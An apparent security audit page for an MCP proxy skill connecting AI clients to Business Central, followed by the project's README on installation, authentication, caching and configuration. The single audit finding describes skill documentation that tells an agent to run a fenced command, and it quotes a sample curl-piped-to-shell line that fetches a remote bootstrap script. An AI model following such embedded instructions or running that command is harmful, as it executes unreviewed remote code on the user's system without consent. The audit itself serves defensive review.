Resilient MCP stdio proxy for Microsoft Dynamics 365 Business Central. Fork of microsoft/BCTech BcMCPProxyPython with reconnect, silent token refresh, and surfaced upstream errors.
SaferSkills independently audited Bc Mcp Proxy (Agent Skill) and scored it 91/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 1 flagged
A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.
text (not bash) so it reads as prose, not a command.```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```See INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
Fork of [microsoft/BCTech `samples/BcMCPProxyPython`](https://github.com/microsoft/BCTech/tree/master/samples/BcMCPProxyPython) — a resilient Python MCP stdio proxy that bridges Claude Desktop, VS Code, Cursor and other MCP-compatible clients to the Microsoft Dynamics 365 Business Central MCP HTTP endpoint.
>
Built and maintained by [Vangelder Solutions](https://www.vangeldersolutions.be). Original: Copyright (c) Microsoft Corporation. Modifications: Copyright (c) 2026 Vangelder Solutions. Licensed under the MIT License.
✅ BC v28 (2026 release wave 1) and v29 (2026 release wave 2, GA October 2026). Microsoft's Business Central MCP server is generally available from version 28 onward on a single header-routed endpoint, and this proxy targets it by default. Version 29 keeps that contract and adds data-query and report-inbox tools, which the proxy forwards unchanged. The v26/v27 per-environment endpoint that preceded it was a preview; it is still supported here as an explicit legacy path for environments that haven't upgraded.
>
The proxy itself is MIT-licensed open source, actively maintained, with a 230+ test suite and Snyk-monitored dependencies. Suitable for development, evaluation, and pilot deployments. Production fitness is your organisation's call — see Security for the threat model.
Pre-built .mcpb bundles (MCP Bundle, the successor of the .dxt format — older .dxt releases still install) are published on each release with all Python dependencies vendored — no pip install step required.
| Platform | Asset |
|---|---|
| Windows 64-bit | vgs-bc-mcp-<version>-win-amd64.mcpb |
| macOS Apple Silicon | vgs-bc-mcp-<version>-darwin-arm64.mcpb |
| Linux x86_64 | vgs-bc-mcp-<version>-linux-x86_64.mcpb |
Every release also ships SHA256SUMS.txt so you can verify the download.
Intel macOS (`x86_64`) is not shipped as a pre-built asset — Apple Silicon has been the default since 2020 and the audience for Intel-only Macs is vanishing. Intel Mac users can build from source via `./dxt/build.sh` (any Mac with Python 3.10+).
That's the whole install. The Azure App Registration setup is the only remaining step — see Step 1 — Azure App Registration below, or contact us via the Need help? section if you'd prefer it done for you.
Building from source (pwsh dxt/build.ps1or./dxt/build.sh) produces an identical bundle. Use the build path if you want to inspect the artifact, customise the manifest, or ship a private fork.
httpx.ReadTimeout, RemoteProtocolError, and NetworkError (including the same errors wrapped in an ExceptionGroup by anyio) trigger an exponential backoff reconnect — 1s → 2s → 4s → 8s → 16s, default 5 attempts. The local stdio pipe to your MCP client stays open while reconnecting.token_refresh_skew_seconds (default 300) the next call asks MSAL to mint a new token via acquire_token_silent(force_refresh=True) instead of letting Business Central reject the stale one with Authentication_InvalidCredentials.isError: false but the content is actually an error message ("Semantic search is not enabled", "Authentication_InvalidCredentials", etc.). The proxy now flags those as real MCP errors so the client sees them.mcp.businesscentral.dynamics.com and switches to the new header-based routing (TenantId + EnvironmentName headers) while keeping v26/v27 behaviour intact.tools/list cache (disk → in-memory pre-warm → upstream) masks BC's 30s+ first-call latency that otherwise trips Claude Desktop's hardcoded MCP request timeout. See Cold-start mitigation.BC_BASE_URL is validated at startup: scheme must be https, host must be *.businesscentral.dynamics.com. Override via BC_ALLOW_NON_STANDARD_BASE_URL=1 for local mock testing.h11, cryptography, pyjwt, python-multipart, starlette, urllib3, requests, python-dotenv — eliminates 16 CVE paths Snyk flagged in the upstream mcp/msal/httpx transitive trees. See SECURITY.md.base_url validation.The CLI surface is unchanged — every flag and env var from the upstream sample still works.
MCP is an open standard Anthropic published in 2024, since adopted by OpenAI, Microsoft and most of the AI tooling industry. It solves one problem: how do you give an AI assistant safe access to your data and systems without building a bespoke integration for every combination?
Microsoft has, since Business Central 2025 release wave 1 (version 26), shipped a built-in MCP server in every BC environment. It listens on a Microsoft-hosted endpoint, validates your OAuth token, and exposes your configuration as a set of tools the AI client can call.
The BC MCP server speaks HTTP — a streamable-HTTP variant with Server-Sent Events. Most AI clients (Claude Desktop, VS Code, Cursor) run locally on your machine and speak stdio to their MCP servers, not HTTP.
The proxy is the translator:
┌─────────────────┐ stdio ┌──────────────────┐ HTTPS + OAuth ┌────────────────────────┐
│ Claude Desktop │ ◄────────►│ bc-mcp-proxy │ ◄───────────────►│ Business Central MCP │
│ / VS Code │ │ (on your machine)│ │ (Microsoft-hosted) │
└─────────────────┘ └──────────────────┘ └────────────────────────┘| Item | Detail |
|---|---|
| BC environment | Version 28.0 or later recommended (v29 supported); v26/v27 still work on the legacy endpoint. Sandbox or production. Read-only access to all API pages works out of the box; writes need an MCP Server Configuration with Unblock Edit Tools on. |
| Microsoft Entra (Azure AD) tenant | With administrator rights — you'll create an App Registration and grant API permissions. |
| An AI client | Claude Desktop (free), VS Code with MCP support, Cursor, or any other stdio-MCP capable tool. |
| Python 3.11+ on your machine | Claude Desktop launches the proxy with the system python3. The .mcpb bundle vendors all Python dependencies internally (wheels for Python 3.11–3.14 of the host platform), so no separate pip install is required. |
In the Azure portal:
BC MCP Proxy — production.Then in the same app:
in with an interactive browser flow that redirects back to a localhost loopback listener — Microsoft Entra allows any port on http://localhost for public clients, so the checkbox is all you need (no port to specify). Without this you'll get AADSTS500113/AADSTS50011 and the proxy falls back to the slower device-code flow.
ms-appx-web://Microsoft.AAD.BrokerPlugin/<your-client-id>Permissions:
Financials.ReadWrite.All (or Financials.Read.All for read-only).user_impersonation.Without admin consent the first sign-in will fail. The green checkmarks next to each permission after Grant admin consent are the signal that you're done.
In Business Central, in your target environment:
Default MCP. The name flows through as a header — case and trailing whitespace matter.Active = Yes BC rejects every tool call with "The MCP Configuration named X was not found or not active".List_<EntityName>_PAG<id> tool per selected page. Predictable, fast, but you choose tools up front.bc_actions_search, bc_actions_describe, bc_actions_invoke) that let the AI client search, describe and invoke an action at runtime. Far more flexible, but slower on first call (see below).Tip: create two configurations with the same toolset, one withActive = Noand one withActive = Yes. That way you can experiment safely without touching the live config.
python -m pip install --upgrade vgs-bc-mcpRenamed in 0.6.0. Earlier releases were published as 360solutions-bc-mcp. That project is archived and stops at 0.5.7 — it does not upgrade into this one, so install the new name explicitly. If you already have the old package, replace it rather than upgrading it:>
``bash python -m pip uninstall -y 360solutions-bc-mcp python -m pip install --upgrade vgs-bc-mcp ``>
Both distributions ship the same bc_mcp_proxy files, so having them installed side by side means uninstalling either one takes the other's files with it. Keep only the new one.>
The import package (bc_mcp_proxy) and thepython -m bc_mcp_proxycommand are unchanged, so existing MCP client configurations keep working. Bundle files are namedvgs-bc-mcp-<version>-<platform>.mcpbsince 0.8.0 (previouslybc-mcp-proxy-….dxt).
Or from source:
git clone https://github.com/VangelderSolutions/bc-mcp-proxy.git
cd bc-mcp-proxy
python -m pip install -e .Verify:
python -m bc_mcp_proxy --helpCreate a .env next to the proxy (this file is git-ignored):
BC_TENANT_ID=<your-tenant-id>
BC_CLIENT_ID=<your-client-id-from-step-1>
BC_ENVIRONMENT=Production
BC_COMPANY=CRONUS USA
BC_CONFIGURATION_NAME=Default MCPFor BC v26 or v27 (legacy) add:
BC_BASE_URL=https://api.businesscentral.dynamics.com(The v28+/v29 host is the default — Microsoft's documented endpoint for every MCP client. The proxy auto-switches both the OAuth scope and the request headers to match.)
Company or configuration names with accents (Société Générale, CRONUS Århus A/S, Ærø Handel) need no special treatment: the proxy Base64-encodes non-ASCII header values the way Microsoft's MCP server requires (=?base64?…?=, MCP SEP-2243). Type the name exactly as it appears in Business Central.
#### Claude Desktop
Edit %APPDATA%\Claude\claude_desktop_config.json (Windows) or ~/Library/Application Support/Claude/claude_desktop_config.json (Mac):
{
"mcpServers": {
"business-central": {
"command": "python",
"args": [
"-m", "bc_mcp_proxy",
"--TenantId", "<your-tenant-id>",
"--ClientId", "<your-client-id>",
"--Environment", "Production",
"--Company", "CRONUS USA",
"--ConfigurationName", "Default MCP"
]
}
}
}Restart Claude Desktop. Your BC tools are now available in every chat.
#### VS Code / Cursor
Both support MCP via a similar JSON config. The repository ships a python -m bc_mcp_proxy setup wizard that generates ready-to-paste install links for Cursor and VS Code, plus a Claude Desktop snippet:
python -m bc_mcp_proxy setupRecommended: pre-authenticate once from a terminal so your very first Claude Desktop launch already has a token and tools cached:
python -m bc_mcp_proxy setupThe wizard signs you in (browser opens to the normal Microsoft sign-in — no code to copy, nothing to read from logs) and caches the token + tool list to disk. After that, every Claude Desktop launch is instant and fully non-interactive until token expiry (refreshed silently via the refresh token). This is the smoothest path and the one we recommend documenting to end users.
Without the pre-auth step, the first launch inside Claude Desktop still works, just less smoothly. The proxy opens the browser for sign-in and, so it doesn't block, returns an empty tool list immediately while you authenticate (no more 30-second hang). It then sends notifications/tools/list_changed. Caveat: current Claude Desktop does not re-request the tool list when it receives that notification over stdio, so on this very first run the tools won't appear until you either ran the setup step above, or toggle the extension off/on once after signing in. This is a one-time step — from the second launch onward the disk cache makes the tool list appear on the first call with no reconnect. (Other MCP clients such as Cursor/VS Code may honour the notification and refresh automatically; behaviour is client-specific.)
If no browser is available (headless box, locked-down VM) the proxy automatically falls back to the device-code flow:
To sign in, use a web browser to open https://microsoft.com/devicelogin
and enter the code ABCD-1234 to authenticate.You can force a specific method with --AuthMode / BC_AUTH_MODE (auto — default, interactive then device-code fallback; interactive; device_code). Use device_code for headless/server installs where opening a browser on the host is undesirable.
Restart your AI client and try:
In static mode the AI picks the tool directly (e.g. ListCustomers_PAG30009) with parameters (top: 5).
In dynamic mode you'll see three steps — bc_actions_search → bc_actions_describe → bc_actions_invoke.
Both modes return the same data. Which one to choose depends on how big your BC installation is and how much flexibility you want to give the AI.
These work against a standard CRONUS demo company with the default read-only MCP access (no configuration needed):
With an MCP configuration that has Unblock Edit Tools on, writes work too — Claude asks for confirmation before each one because the proxy marks those tools as destructive:
tools/list from cache meanwhile, but the first data call waits for BC.bc_actions_invoke performs reads and writes through one tool, so Claude will ask for confirmation on every call to it. Use static mode (explicit List…/Create… tools) if you want reads to run without prompts.| Static | Dynamic | |
|---|---|---|
| Tools the AI sees | One per selected page (e.g. 10 tools) | Three generic tools |
| First-call performance | Fast (sub-second) | Slow on first call (50–60s when Discover Additional Objects is on, while BC walks the catalog) |
| Subsequent calls | Fast | Fast — the catalog is cached |
| AI prompt cost | Higher (the AI sees all tool schemas) | Lower (only three meta-tools) |
| Best for | A bounded set of use cases you've explicitly chosen to expose | Flexible exploration, especially with many pages |
Our recommendation: start with static mode for the first test (fast feedback, you know exactly which tools exist). Switch to dynamic once your users start asking things you didn't preselect a tool for.
Microsoft changed the MCP endpoint shape in BC v28 and now documents a single host for every MCP client. Version 29 (2026 release wave 2) keeps the same endpoint, headers and OAuth scope and adds new tools (custom data queries, report-inbox automation). The proxy detects the host you point it at and adapts everything — URL shape, request headers, and OAuth scope — automatically:
| BC version | BC_BASE_URL | URL shape | Routing info | OAuth scope |
|---|---|---|---|---|
| 28 / 29 (default) | https://mcp.businesscentral.dynamics.com | bare host, no path | TenantId + EnvironmentName headers (plus Company, ConfigurationName; non-ASCII values Base64-encoded per SEP-2243) | https://mcp.businesscentral.dynamics.com/.default |
| 26 / 27 (legacy) | https://api.businesscentral.dynamics.com | /v2.0/{environment}/mcp is appended | Company, ConfigurationName headers | https://api.businesscentral.dynamics.com/.default |
Only the legacy api. host gets the legacy shape; any other *.businesscentral.dynamics.com host (a future regional subdomain, for instance) is treated as the modern header-routed endpoint. Switching versions is a single-line change in .env or --BaseUrl — the scope and headers follow automatically. Set BC_TOKEN_SCOPE only if you need to override the auto-pick.
title, readOnlyHint or destructiveHint. The proxy fills those in from Microsoft's documented naming — bc_actions_search/bc_actions_describe and List…_PAG… are read-only; bc_actions_invoke, Create…, ListUpdate…, Delete… and bound actions are destructive — so Claude can run reads without a per-call confirmation and always asks before a write. Anything BC does set is kept verbatim. Note that bc_actions_invoke (dynamic tool mode) executes reads and writes through one tool, so it is marked destructive. Disable with BC_ANNOTATE_TOOLS=0 / --NoAnnotateTools.resources/* and prompts/* alongside tools/* whenever BC advertises them at connect time (empty lists otherwise, never a blocking call). Disable with BC_FORWARD_RESOURCES_PROMPTS=0 / --NoForwardResourcesPrompts.Internal_ServerError whose message names the object and the missing permission. The proxy recognises that payload, appends a [bc-mcp-proxy] note saying this is a Business Central permission decision (not a proxy, configuration or sign-in problem) and marks the result as an error, so the AI client explains instead of retrying. Always on. See Security model.BC_HIDE_UNAUTHORIZED_TOOLS=1 / --HideUnauthorizedTools, off by default). Static tool mode only: after each connect the proxy reads one record from every List…_PAG… tool and hides the tools for pages Business Central refuses, together with their Create…/ListUpdate…/Delete…/bound-action siblings, then pushes tools/list_changed. Timeouts, rate limits and structural errors never hide anything, a live denial hides its page immediately, and Business Central still enforces every call. It costs one call per API page per connect (visible in RT0054 telemetry), so leave it off on large configurations unless the tool list confuses users. With the companion app MCP Guard by Vangelder Solutions (a paid Business Central app, licensed per user; see BC MCP Enterprise below) installed and its effectivePermissions page in the MCP configuration, the proxy makes one call instead and also hides Create…/ListUpdate…/Delete… tools individually where the user lacks that table permission; pages that read a second table in code are still caught by the live denial. Business Central refuses that page to users without an MCP Guard licence; for them the proxy probes as above.BC_ALLOW_COMPANY_SWITCH=1 / --AllowCompanySwitch, off by default). The Business Central MCP server binds a session to one company, so an installation normally serves the configured company only. With the setting on, every tool gets an optional company argument and a bc_list_companies tool lists the companies of the environment (standard companies API with the user's own token; it lists every company, permission or not). A call with a company runs on a separate upstream session for that company, opened on first use; the argument is never forwarded to Business Central. Permission sets are assigned per company, so a company the user lacks rights in answers with the usual permission note. Note that the optional tool hiding judges the configured company only; leave it off when users work across companies with very different rights. BC_ALLOWED_COMPANIES="A;B" / --AllowedCompanies narrows the switch (and the listing) to those companies plus the configured one; like the switch itself this is a convenience limit, not a security boundary.429, 503, 408 or 504 is retried with exponential backoff, honouring Retry-After up to the 16 s cap, instead of ending the proxy process.X-Client-Application: vgs-bc-mcp/<version>, which BC telemetry records as clientName on event RT0054, so proxy traffic is easy to isolate in Application Insights.A package that builds on the proxy can decide the effective configuration at startup by passing an async hook: run_proxy(config, prepare=my_prepare) (or run_sync(config, prepare=...)). prepare(config) receives the parsed configuration and returns the one to connect with, typically dataclasses.replace(config, environment=..., company=..., configuration_name=..., allowed_companies=...). It runs after the stdio server is up, so it may sign in or call APIs without tripping the client's request timeout: meanwhile the first tools/list waits up to initial_tools_wait_seconds (10 s) for the prepared tool list and otherwise answers with an empty list (followed by tools/list_changed), and tool calls wait. An exception becomes the error the client sees, so raise with a message meant for the end user. server_name, server_version, instructions, enable_debug and forward_resources_prompts are read before the hook runs and cannot be changed by it. Without a hook nothing changes.
A hook can also hand the connection several environments (0.12): dataclasses.replace(config, environments=(EnvironmentTarget(name=..., company=..., configuration_name=..., allowed_companies=...), ...)), with the configured environment first. Every tool then gets an optional environment argument next to company, bc_list_companies describes each environment with its own companies and default, and a call routed elsewhere runs on its own upstream session, built from that environment's company, configuration and allowed companies (the environment travels in the session: a header on the v28 endpoint, the path on the legacy one). environment_note adds one sentence to the listing, for the embedding package to say why the list is what it is - which environments were left out and what decides that - because the proxy is handed the result, not the rules. It requires allow_company_switch and has no environment variable or command-line flag: deciding which environments a user may reach is what the embedding package's own rules are for. Two limits to know: tools/list, the pre-warm and the optional tool hiding all follow the configured environment, so give the environments configurations that expose the same tools — a tool that exists only in one of them fails in the other — and every environment is reached with the same signed-in user, so Business Central decides per environment what they may do. When Business Central refuses the MCP connection in the configured environment itself (0.14.3; no active MCP configuration there, say), the connection goes on for the others: tools/list is taken from the first other environment that answers, bc_list_companies adds the reason, and a call without an environment argument is refused with that reason and the names that do work. Nothing takes the default's place, so a call never runs in an environment the client did not name. With one environment the refusal ends the connection, as before.
What a hook decides from can change while the connection is up: a user's permissions, or the settings an administrator keeps in Business Central. With allow_live_reconfigure (0.13, off by default) the hook may hand in a later result instead of waiting for the next start. Define attach(context) on the hook object; the proxy calls it with a PrepareContext before running the hook, and await context.reconfigure(new_config) then moves the connection onto the new allowed_companies, environments and environment_note. bc_list_companies reports them from the next call on, and a company that has become allowed can be routed to at once. Only those three fields are taken: the upstream sessions, the per-company sessions and the tools cache are left exactly as they are, and a different default environment or company is refused with a warning because that needs the connection rebuilt. A plain callable hook has no attach and is unaffected.
A hook can also set tool_policy (0.14, none by default): an object with refusal(action, environment) that returns why an action may not be used, or None when it may. Tools it refuses are left out of tools/list, actions it refuses are left out of a bc_actions_search answer, and a refused call (bc_actions_describe and bc_actions_invoke are judged by the ActionName they carry) is answered with that reason without going to Business Central. It is asked per call with the environment the call runs in, and a live reconfigure takes a new policy along. It is a convenience for a package that already knows the answer, not a boundary: Business Central still decides every call.
For another transport, or several users behind one process (a hosted server for Claude.ai and Claude mobile), the same core is available as building blocks (0.11): build_server(config, resolve, logger) builds the MCP Server whose handlers serve the RuntimeSlot that the async resolve() returns; it is called on every request, inside the request context, so a hosted server can pick the slot of the authenticated user. run_slot_upstream(slot, config, prepare, logger, options) prepares one slot (through the hook) and runs its upstream connection until cancelled; close_slot(slot) closes its per-company sessions. RuntimeOptions supplies the token providers (instead of the MSAL sign-in of the user running the process) and turns off the on-disk tools cache, which is keyed per tenant/environment/company/configuration and not per user. run_proxy is exactly build_server with one slot plus stdio, so the stdio behaviour is unchanged.
BC's MCP endpoint can take 30s+ to answer the very first tools/list call after the environment has been idle, which is longer than Claude Desktop's hardcoded MCP request timeout. The proxy masks this with a three-tier cache:
tools/list and refresh both the in-memory and disk caches.The very first install on a freshly cold-started BC environment may still hit the 30s timeout once — there is no disk cache yet to fall back on. Every subsequent launch is instant.
When nothing is cached yet, the first tools/list of a connection waits up to 10 seconds for the tool list (BC_INITIAL_TOOLS_WAIT_SECONDS / --InitialToolsWaitSeconds) and only then answers with an empty list, followed by tools/list_changed once the tools arrive. Claude Desktop marks a server whose first answer is empty as offering no tools to Cowork and Code sessions, even though the tools follow seconds later. The wait happens once per connection: later requests answer at once.
| Parameter | CLI argument | Env var | Default | ||
|---|---|---|---|---|---|
| Tenant ID | --TenantId | BC_TENANT_ID | required | ||
| Client ID | --ClientId | BC_CLIENT_ID | required | ||
| Environment | --Environment | BC_ENVIRONMENT | Production | ||
| Company | --Company | BC_COMPANY | required | ||
| Configuration Name | --ConfigurationName | BC_CONFIGURATION_NAME | unset | ||
| Custom Auth Header | --CustomAuthHeader | BC_CUSTOM_AUTH_HEADER | unset (skips interactive/device flow when provided) | ||
| Auth Mode | --AuthMode | BC_AUTH_MODE | auto (auto \ | interactive \ | device_code) |
| Base URL | --BaseUrl | BC_BASE_URL | https://mcp.businesscentral.dynamics.com (v28 / v29) | ||
| Token Scope | --TokenScope | BC_TOKEN_SCOPE | auto-picked from base URL host (legacy api. host → legacy scope, anything else → modern scope) | ||
| Annotate Tools | --AnnotateTools / --NoAnnotateTools | BC_ANNOTATE_TOOLS | on — adds title/readOnlyHint/destructiveHint where BC omits them | ||
| Forward Resources/Prompts | --ForwardResourcesPrompts / --NoForwardResourcesPrompts | BC_FORWARD_RESOURCES_PROMPTS | on — forwards resources/* and prompts/* when BC advertises them | ||
| Hide Unauthorized Tools | --HideUnauthorizedTools / --NoHideUnauthorizedTools | BC_HIDE_UNAUTHORIZED_TOOLS | off — static mode: probe each List tool after connect and hide pages the user cannot read | ||
| Allow Company Switch | --AllowCompanySwitch / --NoAllowCompanySwitch | BC_ALLOW_COMPANY_SWITCH | off — adds a company argument to every tool and the bc_list_companies tool | ||
| Allowed Companies | --AllowedCompanies | BC_ALLOWED_COMPANIES | unset (all) — with the company switch: semicolon-separated companies a call may use; the configured company is always allowed | ||
| HTTP Timeout (s) | --HttpTimeoutSeconds | BC_HTTP_TIMEOUT_SECONDS | 120.0 | ||
| SSE Timeout (s) | --SseTimeoutSeconds | BC_SSE_TIMEOUT_SECONDS | 300.0 | ||
| Initial Tools Wait (s) | --InitialToolsWaitSeconds | BC_INITIAL_TOOLS_WAIT_SECONDS | 10.0 — once per connection, how long the first tools/list waits for the tool list before answering empty; 0 answers at once | ||
| Log Level | --LogLevel | BC_LOG_LEVEL | INFO | ||
| Debug | --Debug | BC_DEBUG=1 | off |
Token cache locations (when no custom auth header is supplied):
%LOCALAPPDATA%\BcMCPProxyPython\bc_mcp_proxy.bin~/Library/Caches/BcMCPProxyPython/bc_mcp_proxy.bin$XDG_CACHE_HOME/BcMCPProxyPython/bc_mcp_proxy.bin (or ~/.cache/…)404), a missing/incorrect MCP Configuration Name (required when a named MCP configuration exists — typically a 400; easy to leave blank in the extension settings since it's not shown in Claude Desktop's args log), a wrong Company, or the signed-in account lacking access to that environment. The proxy surfaces this as a single actionable line in the log (echoing your effective Environment/Company/ConfigurationName) and stays alive instead of crash-looping with a Python traceback — fix the field and restart.ConfigurationName header value differs from the BC record by even a trailing space.AADSTS500113 / AADSTS50011 (no reply address / redirect URI mismatch) means the `http://localhost` redirect URI is not registered under Authentication → Mobile and desktop applications — add it (see Step 1). The proxy names this exact fix in its error message and falls back to device-code in auto mode. Otherwise verify "Allow public client flows" is Yes, the ms-appx-web://Microsoft.AAD.BrokerPlugin/<clientID> redirect URI is present, all API permissions are granted (and admin-consented where required), and rerun setup if device-code times out. For headless/server hosts where no browser can open, set --AuthMode device_code (or BC_AUTH_MODE=device_code).bc_actions_search against a configuration with Discover Additional Objects enabled enumerates the entire metadata catalog — measured at 50–60s server-side on a Cronus demo. Raise BC_HTTP_TIMEOUT_SECONDS (default 120) if you see httpx.ReadTimeout on the first call. Subsequent calls within the same session are typically sub-second.RT0054 with custom dimension toolInvocationFailureReason. Enable telemetry on the BC environment and query (traces | where customDimensions.eventId == 'RT0054' | where customDimensions.toolInvocationResult == 'Failure') to see what BC actually rejected.Upstream connection error (...); reconnecting in Xs (attempt N/M) whenever it retries. After the configured budget the proxy gives up and the local stdio pipe closes.--DeviceCacheLocation to point at a directory you control.python3, so a python3 command must resolve on PATH. A regular python.org install only provides python.exe; the Microsoft Store Python (or its App execution alias for python3, Settings → Apps → Advanced app settings → App execution aliases) provides python3.exe. Any Python 3.11–3.14 works; the bundle ships wheels for each.python -m pip install --upgrade vgs-bc-mcp). If this appeared right after you uninstalled or upgraded the old 360solutions-bc-mcp package, that uninstall removed the shared bc_mcp_proxy files — restore them with python -m pip install --force-reinstall vgs-bc-mcp.Three issues were reproducible against the upstream BcMCPProxyPython sample in production-style use:
streamablehttp_client is wrapped in an anyio task group; an unhandled timeout bubbles out as a BaseExceptionGroup and tears down the entire proxy, killing the stdio pipe to the MCP client. This fork wraps the upstream connection in a manager that reconnects with exponential backoff while keeping the local stdio server alive.bc_actions_invoke call returns Authentication_InvalidCredentials until the proxy is restarted. This fork tracks each token's expires_in and refreshes pre-emptively when remaining validity drops below token_refresh_skew_seconds.isError: false even when the content is an error message — for example "Semantic search is not enabled for this environment". Clients display those as normal output and the user has no idea why their query "didn't work." This fork inspects responses for known error patterns and re-flags them as MCP errors.The CLI surface and on-disk configuration layout are unchanged so this is a drop-in replacement.
A .mcpb bundle (MCP Bundle) for one-click install in Claude Desktop is built from the source in dxt/:
pwsh dxt/build.ps1 # Windows
./dxt/build.sh # macOS / LinuxThe output (dist/vgs-bc-mcp-<version>-<platform>.mcpb) installs into Claude Desktop, prompts for tenant ID / client ID / environment / company / configuration name, and runs the same proxy as the CLI version.
Self-contained bundle. The build script vendors all Python dependencies (mcp, httpx, msal, plus the security-floor pins) into the bundle as wheels for Python 3.11 through 3.14 matching the host platform. Claude Desktop launches the proxy with the system python3 and the bundled deps take precedence over anything in the system's site-packages, so no separate pip install is required on the install side. Each platform has its own bundle:
| Platform | Filename pattern |
|---|---|
| Windows 64-bit | vgs-bc-mcp-<version>-win-amd64.mcpb |
| macOS Apple Silicon | vgs-bc-mcp-<version>-darwin-arm64.mcpb |
| Linux x86_64 | vgs-bc-mcp-<version>-linux-x86_64.mcpb |
Pre-built bundles for these three platforms are attached to every GitHub Release. Intel macOS (darwin-x86_64) isn't in the official matrix; Intel Mac users can run ./dxt/build.sh on their own machine to produce a matching bundle. Building on each target platform's host (a Windows machine for the Windows bundle, etc.) is what the release CI does — wheels for cryptography are platform-specific.
Does MCP respect Business Central permissions? Yes: Microsoft's MCP server runs every call under the signed-in user's identity, so permission sets, security filters, licence entitlements and the MCP configuration all apply unchanged. The proxy adds a clear note on every permission denial and, optionally, hides the tools the user cannot use. Read the full write-up with Microsoft's sources and our measurements: Security model (source: docs/security-model.md).Rolling it out in a company? Users can change the extension settings, edit local files or use another MCP client, so the controls that matter sit in Business Central, Entra ID and Claude Team/Enterprise. Our measured checklist, including the finding that MCP configurations cannot be restricted per user, is in Enterprise hardening.
msal-extensions with OS-specific secure storage (DPAPI on Windows, Keychain on macOS, libsecret on Linux). No plaintext on disk.The privacy policy for this software and the Claude Desktop extension is published at https://vangeldersolutions.github.io/bc-mcp-proxy/privacy/ (source: docs/privacy.md). In short: the proxy runs on your own device, talks only to Microsoft Entra ID and your Business Central environment, keeps tokens (OS-encrypted) and a tools cache locally, collects no telemetry, and sends nothing to Vangelder Solutions.
When you use this proxy, your BC queries and the data returned in response are processed by whichever AI provider your MCP client is wired to — most commonly Anthropic's Claude. The subscription tier you pick (Team / Enterprise / API vs Free / Pro / Max) materially changes how that data is retained and whether it can be used for model training, and it determines whether a Data Processing Addendum is available — which matters for GDPR if you are established in the EU/EEA.
For production use against a live BC tenant we recommend Claude Team, Claude Enterprise, or Anthropic API access — see NOTICE.md for the full recommendation, the responsibility split, and the trademark notice.
git clone https://github.com/VangelderSolutions/bc-mcp-proxy.git
cd bc-mcp-proxy
python -m pip install -e ".[test]"
python -m pytestFor organisations rolling Claude out to many Business Central users, Vangelder Solutions is preparing BC MCP Enterprise, a paid edition built on this proxy:
This open-source proxy stays MIT-licensed and fully usable on its own. The Enterprise edition uses its public run_proxy(config, prepare=...) hook (see Embedding the proxy). Interested? Contact [email protected].
The Azure App Registration and the right permissions take attention to detail. For customers who would rather not deal with Manifest.json, redirect URIs and delegated permissions themselves, Vangelder Solutions offers an end-to-end MCP setup package:
One appointment (online or on-site), configuration done, MCP working in your production environment.
📧 [email protected] 🌐 www.vangeldersolutions.be 📦 github.com/VangelderSolutions/bc-mcp-proxy
vgs-bc-mcp on GitHub — this fork, MIT-licensed, maintained by Vangelder Solutionsmicrosoft/BCTech BcMCPProxyPython — Microsoft's reference implementationMIT — see LICENSE.
Original work © Microsoft Corporation. Modifications © 2026 Vangelder Solutions.
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.